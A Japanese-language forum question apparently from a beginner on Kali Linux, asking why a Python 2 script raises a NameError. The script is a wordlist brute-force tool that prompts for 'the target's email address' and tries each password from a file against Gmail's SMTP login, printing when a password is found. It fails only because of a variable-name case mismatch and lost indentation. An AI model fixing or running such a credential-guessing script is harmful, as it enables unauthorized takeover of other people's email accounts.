私はプログラミングが初めてですが、次のスクリプトを作成しようとしています。私が間違っていることを教えてもらえますか?
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password
wordlist.lst ファイルを追加すると、端末に次のようなエラー メッセージが表示されます。
File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined
どなたか専門家からアドバイスをいただけないでしょうか。Kali Linux で Python 2.7.9 を使用しています (Python 2 がプリインストールされていたので、Python 3 を試す代わりにそれを学ぶことにしました)。